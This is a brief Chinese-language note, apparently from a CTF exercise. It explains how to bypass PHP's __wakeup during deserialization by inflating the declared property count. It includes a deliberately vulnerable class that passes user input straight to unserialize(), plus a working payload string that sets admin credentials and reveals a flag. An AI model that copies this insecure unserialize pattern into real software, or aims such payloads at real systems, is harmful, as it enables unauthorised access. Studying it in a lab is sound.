反序列化内容ref: https://www.jianshu.com/p/f9bae6f1db14

反序列化绕过​​__wakeup​​：传入的序列化参数大于真实的参数即可

例如：

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

有两个参数，绕过​​__wakeup​​的方式为：

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

将HAHAHA类的参数设定为3，原来为2.